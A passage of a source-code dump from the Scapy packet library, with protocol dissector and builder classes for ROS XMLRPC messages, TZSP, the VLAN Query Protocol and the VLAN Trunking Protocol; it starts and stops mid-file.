[<param>.<value><string>/rosparam-82043</string></value>.</param>.]\n        StrLenField(\n            \"params\",\n            \"<param>\\n<value><string>/rosparam-82043\" + \\\n            \"</string></value>\\n</param>\\n\",\n            length_from=lambda pkt: pkt.params_size,\n        ),\n        # </params>.</methodCall>.\n        StrFixedLenField(\"params_closetag\", \"</params>\\n\", length=10),\n        StrFixedLenField(\"methodcall_closetag\", \"</methodCall>\\n\", length=14),\n    ]\n\n    def pre_dissect(self, s):\n        \"\"\"\n        Calculate the sizes of:\n            - methodname\n            - params\n\n        See https://docs.python.org/3/library/struct.html\n            for the unpack (e.g. \"<I\") options\n        \"\"\"\n        decoded_s = s.decode(\"iso-8859-1\")  # from bytes, to string\n\n        self.methodname_size = len(\n            decoded_s[\n                decoded_s.find(\"<methodName>\") +\n                len(\"<methodName>\"):decoded_s.find(\"</methodName>\")\n            ]\n        )\n\n        self.params_size = len(\n            decoded_s[\n                decoded_s.find(\"<params>\\n\") +\n                len(\"<params>\\n\"):decoded_s.find(\"</params>\")\n            ]\n        )\n\n        if conf.debug_dissector:\n            print(self.methodname_size)\n            print(self.params_size)\n        return s\n\n    def do_dissect_payload(self, s):\n        self.guess_payload_class(s)\n\n\nclass XMLRPCResponse(Packet):\n    \"\"\"\n    Response side of the ROS XMLPC elements used by Master and Parameter APIs\n    Exemplary package::\n\n        0000  02 42 0C 00 00 04 02 42 0C 00 00 02 08 00 45 00  .B.....B......E.\n        0010  01 A2 8C CD 40 00 40 06 94 83 0C 00 00 02 0C 00  ....@.@.........\n        0020  00 04 2C 2F 8E 62 87 00 82 4C C7 A9 93 F1 80 18  ..,/.b...L......\n        0030  01 F6 19 9A 00 00 01 01 08 0A 39 82 4B 7B BB 36  ..........9.K{.6\n        0040  D2 1A 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F  ..HTTP/1.1 200 O\n        0050  4B 0D 0A 53 65 72 76 65 72 3A 20 42 61 73 65 48  K..Server: BaseH\n        0060  54 54 50 2F 30 2E 33 20 50 79 74 68 6F 6E 2F 32  TTP/0.3 Python/2\n        0070  2E 37 2E 31 37 0D 0A 44 61 74 65 3A 20 53 75 6E  .7.17..Date: Sun\n        0080  2C 20 30 36 20 44 65 63 20 32 30 32 30 20 31 35  , 06 Dec 2020 15\n        0090  3A 31 37 3A 33 38 20 47 4D 54 0D 0A 43 6F 6E 74  :17:38 GMT..Cont\n        00a0  65 6E 74 2D 74 79 70 65 3A 20 74 65 78 74 2F 78  ent-type: text/x\n        00b0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 6C 65 6E 67  ml..Content-leng\n        00c0  74 68 3A 20 32 32 39 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 229....<?xml\n        00d0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>\n        00e0  0A 3C 6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65  .<methodResponse\n        00f0  3E 0A 3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61  >.<params>.<para\n        0100  6D 3E 0A 3C 76 61 6C 75 65 3E 3C 61 72 72 61 79  m>.<value><array\n        0110  3E 3C 64 61 74 61 3E 0A 3C 76 61 6C 75 65 3E 3C  ><data>.<value><\n        0120  69 6E 74 3E 31 3C 2F 69 6E 74 3E 3C 2F 76 61 6C  int>1</int></val\n        0130  75 65 3E 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69  ue>.<value><stri\n        0140  6E 67 3E 3C 2F 73 74 72 69 6E 67 3E 3C 2F 76 61  ng></string></va\n        0150  6C 75 65 3E 0A 3C 76 61 6C 75 65 3E 3C 69 6E 74  lue>.<value><int\n        0160  3E 33 39 38 3C 2F 69 6E 74 3E 3C 2F 76 61 6C 75  >398</int></value\n        0170  65 3E 0A 3C 2F 64 61 74 61 3E 3C 2F 61 72 72 61  e>.</data></arra\n        0180  79 3E 3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70 61 72  y></value>.</par\n        0190  61 6D 3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A 3C 2F  am>.</params>.</\n        01a0  6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65 3E 0A  methodResponse>.\n    \"\"\"\n\n    name = \"XMLRPCResponse\"\n    __slots__ = Packet.__slots__ + [\"params_size\"]\n    fields_desc = [\n        # <?xml version='1.0'?>\\n\n        StrFixedLenField(\"version\", \"<?xml version='1.0'?>\\n\", length=22),\n        # XMLRPCSeparator(\"separator_version\"),\n        # <methodResponse>\\n\n        StrFixedLenField(\"methodcall_opentag\", \"<methodResponse>\\n\",\n                         length=17),\n        # <params>\\n\n        StrFixedLenField(\"params_opentag\", \"<params>\\n\",\n                         length=9),\n        # <param>\\n<value><array><data>\\n\n        #   <value><int>1</int></value>\\n\n        #   <value><string>Parameter [/rosdistro]</string></value>\\n\n        #   <value><string>melodic\\n</string></value>\\n\n        #   </data></array></value>\\n</param>\\n\n        StrLenField(\"params\", \"\", length_from=lambda pkt: pkt.params_size),\n        # </params>\\n</methodResponse>\\n\n        StrFixedLenField(\"params_closetag\", \"</params>\\n\", length=10),\n        StrFixedLenField(\"methodcall_closetag\", \"</methodResponse>\\n\",\n                         length=18),\n    ]\n\n    def pre_dissect(self, s):\n        \"\"\"\n        Calculate the sizes of:\n            - methodname\n            - params\n\n        See https://docs.python.org/3/library/struct.html\n            for the unpack (e.g. \"<I\") options\n        \"\"\"\n        decoded_s = s.decode(\"iso-8859-1\")  # from bytes, to string\n\n        self.params_size = len(\n            decoded_s[\n                decoded_s.find(\"<params>\\n\") +\n                len(\"<params>\\n\"):decoded_s.find(\"</params>\")\n            ]\n        )\n\n        if conf.debug_dissector:\n            print(self.params_size)\n        return s\n\n    def do_dissect_payload(self, s):\n        self.guess_payload_class(s)\n"
  },
  {
    "path": "scapy/contrib/tzsp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = TaZmen Sniffer Protocol (TZSP)\n# scapy.contrib.status = loads\n\n\"\"\"\n    TZSP - TaZmen Sniffer Protocol\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    :author:    Thomas Tannhaeuser, hecke@naberius.de\n\n    :description:\n\n        This module provides Scapy layers for the TZSP protocol.\n\n        references:\n            - https://en.wikipedia.org/wiki/TZSP\n            - https://web.archive.org/web/20050404125022/http://www.networkchemistry.com/support/appnotes/an001_tzsp.html  # noqa: E501\n\n    :NOTES:\n        - to allow Scapy to dissect this layer automatically, you need to bind the TZSP layer to UDP using  # noqa: E501\n          the default TZSP port (0x9090), e.g.\n\n            bind_layers(UDP, TZSP, sport=TZSP_PORT_DEFAULT)\n            bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\n        - packet format definition from www.networkchemistry.com is different from the one given by wikipedia  # noqa: E501\n        - seems Wireshark implements the wikipedia protocol version (didn't dive into their code)  # noqa: E501\n        - observed (miss)behavior of Wireshark (2.2.6)\n          - fails to decode RSSI & SNR using short values - only one byte taken\n          - SNR is labeled as silence\n          - WlanRadioHdrSerial is labeled as Sensor MAC\n          - doesn't know the packet count tag (40 / 0x28)\n\n\"\"\"\nfrom scapy.compat import orb\nfrom scapy.contrib.avs import AVSWLANHeader\nfrom scapy.error import warning, Scapy_Exception\nfrom scapy.fields import ByteField, ShortEnumField, IntField, FieldLenField, YesNoByteField  # noqa: E501\nfrom scapy.layers.dot11 import Packet, Dot11, PrismHeader\nfrom scapy.layers.l2 import Ether\nfrom scapy.fields import StrLenField, ByteEnumField, ShortField, XStrLenField\nfrom scapy.packet import Raw\n\n\nTZSP_PORT_DEFAULT = 0x9090\n\n\nclass TZSP(Packet):\n    TYPE_RX_PACKET = 0x00\n    TYPE_TX_PACKET = 0x01\n    TYPE_CONFIG = 0x03\n    TYPE_KEEPALIVE = TYPE_NULL = 0x04\n    TYPE_PORT = 0x05\n\n    TYPES = {\n        TYPE_RX_PACKET: 'RX_PACKET',\n        TYPE_TX_PACKET: 'TX_PACKET',\n        TYPE_CONFIG: 'CONFIG',\n        TYPE_NULL: 'KEEPALIVE/NULL',\n        TYPE_PORT: 'PORT',\n    }\n\n    ENCAPSULATED_ETHERNET = 0x01\n    ENCAPSULATED_IEEE_802_11 = 0x12\n    ENCAPSULATED_PRISM_HEADER = 0x77\n    ENCAPSULATED_WLAN_AVS = 0x7f\n\n    ENCAPSULATED_PROTOCOLS = {\n        ENCAPSULATED_ETHERNET: 'ETHERNET',\n        ENCAPSULATED_IEEE_802_11: 'IEEE 802.11',\n        ENCAPSULATED_PRISM_HEADER: 'PRISM HEADER',\n        ENCAPSULATED_WLAN_AVS: 'WLAN AVS'\n    }\n\n    ENCAPSULATED_PROTOCOL_CLASSES = {\n        ENCAPSULATED_ETHERNET: Ether,\n        ENCAPSULATED_IEEE_802_11: Dot11,\n        ENCAPSULATED_PRISM_HEADER: PrismHeader,\n        ENCAPSULATED_WLAN_AVS: AVSWLANHeader\n    }\n\n    fields_desc = [\n        ByteField('version', 0x01),\n        ByteEnumField('type', TYPE_RX_PACKET, TYPES),\n        ShortEnumField('encapsulated_protocol', ENCAPSULATED_ETHERNET, ENCAPSULATED_PROTOCOLS)  # noqa: E501\n    ]\n\n    def get_encapsulated_payload_class(self):\n        \"\"\"\n        get the class that holds the encapsulated payload of the TZSP packet\n        :return: class representing the payload, Raw() on error\n        \"\"\"\n\n        try:\n            return TZSP.ENCAPSULATED_PROTOCOL_CLASSES[self.encapsulated_protocol]  # noqa: E501\n        except KeyError:\n            warning(\n                'unknown or invalid encapsulation type (%i) - returning payload as raw()' % self.encapsulated_protocol)  # noqa: E501\n            return Raw\n\n    def guess_payload_class(self, payload):\n        if self.type == TZSP.TYPE_KEEPALIVE:\n            if len(payload):\n                warning('payload (%i bytes) in KEEPALIVE/NULL packet',\n                        len(payload))\n            return Raw\n        else:\n            return _tzsp_guess_next_tag(payload)\n\n    def get_encapsulated_payload(self):\n\n        has_encapsulated_data = self.type == TZSP.TYPE_RX_PACKET or self.type == TZSP.TYPE_TX_PACKET  # noqa: E501\n\n        if has_encapsulated_data:\n            end_tag_lyr = self.payload.getlayer(TZSPTagEnd)\n            if end_tag_lyr:\n                return end_tag_lyr.payload\n            else:\n                return None\n\n\ndef _tzsp_handle_unknown_tag(payload, tag_type):\n\n    payload_len = len(payload)\n\n    if payload_len < 2:\n        warning('invalid or unknown tag type (%i) and too short packet - '\n                'treat remaining data as Raw', tag_type)\n        return Raw\n\n    tag_data_length = orb(payload[1])\n\n    tag_data_fits_in_payload = (tag_data_length + 2) <= payload_len\n    if not tag_data_fits_in_payload:\n        warning('invalid or unknown tag type (%i) and too short packet - '\n                'treat remaining data as Raw', tag_type)\n        return Raw\n\n    warning('invalid or unknown tag type (%i)', tag_type)\n\n    return TZSPTagUnknown\n\n\ndef _tzsp_guess_next_tag(payload):\n    \"\"\"\n    :return: class representing the next tag, Raw on error, None on missing payload  # noqa: E501\n    \"\"\"\n\n    if not payload:\n        warning('missing payload')\n        return None\n\n    tag_type = orb(payload[0])\n\n    try:\n        tag_class_definition = _TZSP_TAG_CLASSES[tag_type]\n\n    except KeyError:\n\n        return _tzsp_handle_unknown_tag(payload, tag_type)\n\n    if type(tag_class_definition) is not dict:\n        return tag_class_definition\n\n    try:\n        length = orb(payload[1])\n    except IndexError:\n        length = None\n\n    if not length:\n        warning('no tag length given - packet too short')\n        return Raw\n\n    try:\n        return tag_class_definition[length]\n    except KeyError:\n        warning('invalid tag length %s for tag type %s', length, tag_type)\n        return Raw\n\n\nclass _TZSPTag(Packet):\n    TAG_TYPE_PADDING = 0x00\n    TAG_TYPE_END = 0x01\n    TAG_TYPE_RAW_RSSI = 0x0a\n    TAG_TYPE_SNR = 0x0b\n    TAG_TYPE_DATA_RATE = 0x0c\n    TAG_TYPE_TIMESTAMP = 0x0d\n    TAG_TYPE_CONTENTION_FREE = 0x0f\n    TAG_TYPE_DECRYPTED = 0x10\n    TAG_TYPE_FCS_ERROR = 0x11\n    TAG_TYPE_RX_CHANNEL = 0x12\n    TAG_TYPE_PACKET_COUNT = 0x28\n    TAG_TYPE_RX_FRAME_LENGTH = 0x29\n    TAG_TYPE_WLAN_RADIO_HDR_SERIAL = 0x3c\n\n    TAG_TYPES = {\n        TAG_TYPE_PADDING: 'PADDING',\n        TAG_TYPE_END: 'END',\n        TAG_TYPE_RAW_RSSI: 'RAW_RSSI',\n        TAG_TYPE_SNR: 'SNR',\n        TAG_TYPE_DATA_RATE: 'DATA_RATE',\n        TAG_TYPE_TIMESTAMP: 'TIMESTAMP',\n        TAG_TYPE_CONTENTION_FREE: 'CONTENTION_FREE',\n        TAG_TYPE_DECRYPTED: 'DECRYPTED',\n        TAG_TYPE_FCS_ERROR: 'FCS_ERROR',\n        TAG_TYPE_RX_CHANNEL: 'RX_CHANNEL',\n        TAG_TYPE_PACKET_COUNT: 'PACKET_COUNT',\n        TAG_TYPE_RX_FRAME_LENGTH: 'RX_FRAME_LENGTH',\n        TAG_TYPE_WLAN_RADIO_HDR_SERIAL: 'WLAN_RADIO_HDR_SERIAL'\n    }\n\n    def guess_payload_class(self, payload):\n        return _tzsp_guess_next_tag(payload)\n\n\nclass TZSPStructureException(Scapy_Exception):\n    pass\n\n\nclass TZSPTagPadding(_TZSPTag):\n    \"\"\"\n    padding tag (should be ignored)\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_PADDING, _TZSPTag.TAG_TYPES),\n    ]\n\n\nclass TZSPTagEnd(Packet):\n    \"\"\"\n    last tag\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_END, _TZSPTag.TAG_TYPES),\n    ]\n\n    def guess_payload_class(self, payload):\n        \"\"\"\n        the type of the payload encapsulation is given be the outer TZSP layers attribute encapsulation_protocol  # noqa: E501\n        \"\"\"\n\n        under_layer = self.underlayer\n        tzsp_header = None\n\n        while under_layer:\n            if isinstance(under_layer, TZSP):\n                tzsp_header = under_layer\n                break\n            under_layer = under_layer.underlayer\n\n        if tzsp_header:\n\n            return tzsp_header.get_encapsulated_payload_class()\n        else:\n            raise TZSPStructureException('missing parent TZSP header')\n\n\nclass TZSPTagRawRSSIByte(_TZSPTag):\n    \"\"\"\n    relative received signal strength - signed byte value\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_RAW_RSSI, _TZSPTag.TAG_TYPES),\n        ByteField('len', 1),\n        ByteField('raw_rssi', 0)\n    ]\n\n\nclass TZSPTagRawRSSIShort(_TZSPTag):\n    \"\"\"\n    relative received signal strength - signed short value\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_RAW_RSSI, _TZSPTag.TAG_TYPES),\n        ByteField('len', 2),\n        ShortField('raw_rssi', 0)\n    ]\n\n\nclass TZSPTagSNRByte(_TZSPTag):\n    \"\"\"\n    signal noise ratio - signed byte value\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_SNR, _TZSPTag.TAG_TYPES),\n        ByteField('len', 1),\n        ByteField('snr', 0)\n    ]\n\n\nclass TZSPTagSNRShort(_TZSPTag):\n    \"\"\"\n    signal noise ratio - signed short value\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_SNR, _TZSPTag.TAG_TYPES),\n        ByteField('len', 2),\n        ShortField('snr', 0)\n    ]\n\n\nclass TZSPTagDataRate(_TZSPTag):\n    \"\"\"\n    wireless link data rate\n    \"\"\"\n    DATA_RATE_UNKNOWN = 0x00\n    DATA_RATE_1 = 0x02\n    DATA_RATE_2 = 0x04\n    DATA_RATE_5_5 = 0x0B\n    DATA_RATE_6 = 0x0C\n    DATA_RATE_9 = 0x12\n    DATA_RATE_11 = 0x16\n    DATA_RATE_12 = 0x18\n    DATA_RATE_18 = 0x24\n    DATA_RATE_22 = 0x2C\n    DATA_RATE_24 = 0x30\n    DATA_RATE_33 = 0x42\n    DATA_RATE_36 = 0x48\n    DATA_RATE_48 = 0x60\n    DATA_RATE_54 = 0x6C\n    DATA_RATE_LEGACY_1 = 0x0A\n    DATA_RATE_LEGACY_2 = 0x14\n    DATA_RATE_LEGACY_5_5 = 0x37\n    DATA_RATE_LEGACY_11 = 0x6E\n\n    DATA_RATES = {\n        DATA_RATE_UNKNOWN: 'unknown',\n        DATA_RATE_1: '1 MB/s',\n        DATA_RATE_2: '2 MB/s',\n        DATA_RATE_5_5: '5.5 MB/s',\n        DATA_RATE_6: '6 MB/s',\n        DATA_RATE_9: '9 MB/s',\n        DATA_RATE_11: '11 MB/s',\n        DATA_RATE_12: '12 MB/s',\n        DATA_RATE_18: '18 MB/s',\n        DATA_RATE_22: '22 MB/s',\n        DATA_RATE_24: '24 MB/s',\n        DATA_RATE_33: '33 MB/s',\n        DATA_RATE_36: '36 MB/s',\n        DATA_RATE_48: '48 MB/s',\n        DATA_RATE_54: '54 MB/s',\n        DATA_RATE_LEGACY_1: '1 MB/s (legacy)',\n        DATA_RATE_LEGACY_2: '2 MB/s (legacy)',\n        DATA_RATE_LEGACY_5_5: '5.5 MB/s (legacy)',\n        DATA_RATE_LEGACY_11: '11 MB/s (legacy)',\n    }\n\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_DATA_RATE, _TZSPTag.TAG_TYPES),\n        ByteField('len', 1),\n        ByteEnumField('data_rate', DATA_RATE_UNKNOWN, DATA_RATES)\n    ]\n\n\nclass TZSPTagTimestamp(_TZSPTag):\n    \"\"\"\n    MAC receive timestamp\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_TIMESTAMP, _TZSPTag.TAG_TYPES),\n        ByteField('len', 4),\n        IntField('timestamp', 0)\n    ]\n\n\nclass TZSPTagContentionFree(_TZSPTag):\n    \"\"\"\n    packet received in contention free period\n    \"\"\"\n    NO = 0x00\n    YES = 0x01\n\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_CONTENTION_FREE, _TZSPTag.TAG_TYPES),  # noqa: E501\n        ByteField('len', 1),\n        YesNoByteField('contention_free', NO)\n    ]\n\n\nclass TZSPTagDecrypted(_TZSPTag):\n    \"\"\"\n    packet was decrypted\n    \"\"\"\n    YES = 0x00\n    NO = 0x01\n\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_DECRYPTED, _TZSPTag.TAG_TYPES),\n        ByteField('len', 1),\n        YesNoByteField('decrypted', NO, config={'yes': YES, 'no': (NO, 0xff)})\n    ]\n\n\nclass TZSPTagError(_TZSPTag):\n    \"\"\"\n    frame checksum error\n    \"\"\"\n    NO = 0x00\n    YES = 0x01\n\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_FCS_ERROR, _TZSPTag.TAG_TYPES),\n        ByteField('len', 1),\n        YesNoByteField('fcs_error', NO, config={'no': NO, 'yes': YES, 'reserved': (YES + 1, 0xff)})  # noqa: E501\n    ]\n\n\nclass TZSPTagRXChannel(_TZSPTag):\n    \"\"\"\n    channel the sensor was on while receiving the frame\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_RX_CHANNEL, _TZSPTag.TAG_TYPES),  # noqa: E501\n        ByteField('len', 1),\n        ByteField('rx_channel', 0)\n    ]\n\n\nclass TZSPTagPacketCount(_TZSPTag):\n    \"\"\"\n    packet counter\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_PACKET_COUNT, _TZSPTag.TAG_TYPES),  # noqa: E501\n        ByteField('len', 4),\n        IntField('packet_count', 0)\n    ]\n\n\nclass TZSPTagRXFrameLength(_TZSPTag):\n    \"\"\"\n    received packet length\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_RX_FRAME_LENGTH, _TZSPTag.TAG_TYPES),  # noqa: E501\n        ByteField('len', 2),\n        ShortField('rx_frame_length', 0)\n    ]\n\n\nclass TZSPTagWlanRadioHdrSerial(_TZSPTag):\n    \"\"\"\n    (vendor specific) unique capture device (sensor/AP) identifier\n    \"\"\"\n    fields_desc = [\n        ByteEnumField('type', _TZSPTag.TAG_TYPE_WLAN_RADIO_HDR_SERIAL, _TZSPTag.TAG_TYPES),  # noqa: E501\n        FieldLenField('len', None, length_of='sensor_id', fmt='b'),\n        StrLenField('sensor_id', '', length_from=lambda pkt:pkt.len)\n    ]\n\n\nclass TZSPTagUnknown(_TZSPTag):\n    \"\"\"\n    unknown tag type dummy\n    \"\"\"\n    fields_desc = [\n        ByteField('type', 0xff),\n        FieldLenField('len', None, length_of='data', fmt='b'),\n        XStrLenField('data', '', length_from=lambda pkt: pkt.len)\n    ]\n\n\n_TZSP_TAG_CLASSES = {\n    _TZSPTag.TAG_TYPE_PADDING: TZSPTagPadding,\n    _TZSPTag.TAG_TYPE_END: TZSPTagEnd,\n    _TZSPTag.TAG_TYPE_RAW_RSSI: {1: TZSPTagRawRSSIByte, 2: TZSPTagRawRSSIShort},  # noqa: E501\n    _TZSPTag.TAG_TYPE_SNR: {1: TZSPTagSNRByte, 2: TZSPTagSNRShort},\n    _TZSPTag.TAG_TYPE_DATA_RATE: TZSPTagDataRate,\n    _TZSPTag.TAG_TYPE_TIMESTAMP: TZSPTagTimestamp,\n    _TZSPTag.TAG_TYPE_CONTENTION_FREE: TZSPTagContentionFree,\n    _TZSPTag.TAG_TYPE_DECRYPTED: TZSPTagDecrypted,\n    _TZSPTag.TAG_TYPE_FCS_ERROR: TZSPTagError,\n    _TZSPTag.TAG_TYPE_RX_CHANNEL: TZSPTagRXChannel,\n    _TZSPTag.TAG_TYPE_PACKET_COUNT: TZSPTagPacketCount,\n    _TZSPTag.TAG_TYPE_RX_FRAME_LENGTH: TZSPTagRXFrameLength,\n    _TZSPTag.TAG_TYPE_WLAN_RADIO_HDR_SERIAL: TZSPTagWlanRadioHdrSerial\n}\n"
  },
  {
    "path": "scapy/contrib/vqp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = VLAN Query Protocol\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    FieldLenField,\n    IPField,\n    IntEnumField,\n    IntField,\n    MACField,\n    MultipleTypeField,\n    StrLenField,\n)\nfrom scapy.layers.inet import UDP\n\n\nclass VQP(Packet):\n    name = \"VQP\"\n    fields_desc = [\n        ByteField(\"const\", 1),\n        ByteEnumField(\"type\", 1, {\n            1: \"requestPort\", 2: \"responseVLAN\",\n            3: \"requestReconfirm\", 4: \"responseReconfirm\"\n        }),\n        ByteEnumField(\"errorcodeaction\", 0, {\n            0: \"none\", 3: \"accessDenied\",\n            4: \"shutdownPort\", 5: \"wrongDomain\"\n        }),\n        ByteEnumField(\"unknown\", 2, {\n            2: \"inGoodResponse\", 6: \"inRequests\"\n        }),\n        IntField(\"seq\", 0),\n    ]\n\n\nclass VQPEntry(Packet):\n    name = \"VQPEntry\"\n    fields_desc = [\n        IntEnumField(\"datatype\", 0, {\n            3073: \"clientIPAddress\", 3074: \"portName\",\n            3075: \"VLANName\", 3076: \"Domain\", 3077: \"ethernetPacket\",\n            3078: \"ReqMACAddress\", 3079: \"unknown\",\n            3080: \"ResMACAddress\"\n        }),\n        FieldLenField(\"len\", None, length_of=\"data\", fmt=\"H\"),\n        MultipleTypeField(\n            [\n                (IPField(\"data\", \"0.0.0.0\"),\n                    lambda p: p.datatype == 3073),\n                (MACField(\"data\", \"00:00:00:00:00:00\"),\n                    lambda p: p.datatype in [3078, 3080]),\n            ],\n            StrLenField(\"data\", None, length_from=lambda p: p.len)\n        )\n    ]\n\n\nbind_bottom_up(UDP, VQP, sport=1589)\nbind_bottom_up(UDP, VQP, dport=1589)\nbind_layers(UDP, VQP, sport=1589, dport=1589)\n\nbind_layers(VQP, VQPEntry,)\nbind_layers(VQPEntry, VQPEntry,)\n"
  },
  {
    "path": "scapy/contrib/vtp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = VLAN Trunking Protocol (VTP)\n# scapy.contrib.status = loads\n\nr\"\"\"\n    VTP Scapy Extension\n    ~~~~~~~~~~~~~~~~~~~~~\n\n    :version:   2009-02-15\n    :copyright: 2009 by Jochen Bartl\n    :e-mail:    lobo@c3a.de / jochen.bartl@gmail.com\n    :license:   GPL v2\n\n        This program is free software; you can redistribute it and/or\n        modify it under the terms of the GNU General Public License\n        as published by the Free Software Foundation; either version 2\n        of the License, or (at your option) any later version.\n\n        This program is distributed in the hope that it will be useful,\n        but WITHOUT ANY WARRANTY; without even the implied warranty of\n        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n        GNU General Public License for more details.\n\n    :TODO:\n\n        - Join messages\n        - RE MD5 hash calculation\n        - Have a closer look at 8 byte padding in summary adv:\n\n            \"debug sw-vlan vtp packets\" says the TLV length is invalid,\n            when I change the values:\n\n            ``b'\\x00\\x00\\x00\\x01\\x06\\x01\\x00\\x02'``\n\n            * \\x00\\x00 ?\n            * \\x00\\x01 tlvtype?\n            * \\x06 length?\n            * \\x00\\x02 value?\n\n        - h2i function for VTPTimeStampField\n\n    :References:\n\n        - | Understanding VLAN Trunk Protocol (VTP)\n          | http://www.cisco.com/en/US/tech/tk389/tk689/technologies_tech_note09186a0080094c52.shtml  # noqa: E501\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteEnumField, ByteField, ConditionalField, \\\n    FieldLenField, IPField, PacketListField, ShortField, SignedIntField, \\\n    StrFixedLenField, StrLenField, XIntField\nfrom scapy.layers.l2 import SNAP\nfrom scapy.compat import chb\nfrom scapy.config import conf\n\n_VTP_VLAN_TYPE = {\n    1: 'Ethernet',\n    2: 'FDDI',\n    3: 'TrCRF',\n    4: 'FDDI-net',\n    5: 'TrBRF'\n}\n\n_VTP_VLANINFO_TLV_TYPE = {\n    0x01: 'Source-Routing Ring Number',\n    0x02: 'Source-Routing Bridge Number',\n    0x03: 'Spanning-Tree Protocol Type',\n    0x04: 'Parent VLAN',\n    0x05: 'Translationally Bridged VLANs',\n    0x06: 'Pruning',\n    0x07: 'Bridge Type',\n    0x08: 'Max ARE Hop Count',\n    0x09: 'Max STE Hop Count',\n    0x0A: 'Backup CRF Mode'\n}\n\n\nclass VTPVlanInfoTlv(Packet):\n    name = \"VTP VLAN Info TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 0, _VTP_VLANINFO_TLV_TYPE),\n        ByteField(\"length\", 0),\n        StrLenField(\"value\", None, length_from=lambda pkt: pkt.length + 1)\n    ]\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass VTPVlanInfo(Packet):\n    name = \"VTP VLAN Info\"\n    fields_desc = [\n        ByteField(\"len\", None),\n        ByteEnumField(\"status\", 0, {0: \"active\", 1: \"suspended\"}),\n        ByteEnumField(\"type\", 1, _VTP_VLAN_TYPE),\n        FieldLenField(\"vlannamelen\", None, \"vlanname\", \"B\"),\n        ShortField(\"vlanid\", 1),\n        ShortField(\"mtu\", 1500),\n        XIntField(\"dot10index\", None),\n        StrLenField(\"vlanname\", \"default\",\n                    length_from=lambda pkt: 4 * ((pkt.vlannamelen + 3) // 4)),\n        ConditionalField(\n            PacketListField(\n                \"tlvlist\", [], VTPVlanInfoTlv,\n                length_from=lambda pkt: pkt.len - 12 - (4 * ((pkt.vlannamelen + 3) // 4))  # noqa: E501\n            ),\n            lambda pkt:pkt.type not in [1, 2]\n        )\n    ]\n\n    def post_build(self, p, pay):\n        vlannamelen = 4 * ((len(self.vlanname) + 3) // 4)\n\n        if self.len is None:\n            tmp_len = vlannamelen + 12\n            p = chb(tmp_len & 0xff) + p[1:]\n\n        # Pad vlan name with zeros if vlannamelen > len(vlanname)\n        tmp_len = vlannamelen - len(self.vlanname)\n        if tmp_len != 0:\n            p += b\"\\x00\" * tmp_len\n\n        p += pay\n\n        return p\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\n_VTP_Types = {\n    1: 'Summary Advertisement',\n    2: 'Subset Advertisements',\n    3: 'Advertisement Request',\n    4: 'Join'\n}\n\n\nclass VTPTimeStampField(StrFixedLenField):\n    def __init__(self, name, default):\n        StrFixedLenField.__init__(self, name, default, 12)\n\n    def i2repr(self, pkt, x):\n        return \"%s-%s-%s %s:%s:%s\" % (x[:2], x[2:4], x[4:6], x[6:8], x[8:10], x[10:12])  # noqa: E501\n\n\nclass VTP(Packet):\n    name = \"VTP\"\n    fields_desc = [\n        ByteField(\"ver\", 2),\n        ByteEnumField(\"code\", 1, _VTP_Types),\n        ConditionalField(ByteField(\"followers\", 1),\n                         lambda pkt:pkt.code == 1),\n        ConditionalField(ByteField(\"seq\", 1),\n                         lambda pkt:pkt.code == 2),\n        ConditionalField(ByteField(\"reserved\", 0),\n                         lambda pkt:pkt.code == 3),\n        ByteField(\"domnamelen\", None),\n        StrFixedLenField(\"domname\", \"manbearpig\", 32),\n        ConditionalField(SignedIntField(\"rev\", 0),\n                         lambda pkt:pkt.code == 1 or\n                         pkt.code == 2),\n        # updater identity\n        ConditionalField(IPField(\"uid\", \"192.168.0.1\"),\n                         lambda pkt:pkt.code == 1),\n        ConditionalField(VTPTimeStampField(\"timestamp\", '930301000000'),\n                         lambda pkt:pkt.code == 1),\n        ConditionalField(StrFixedLenField(\"md5\", b\"\\x00\" * 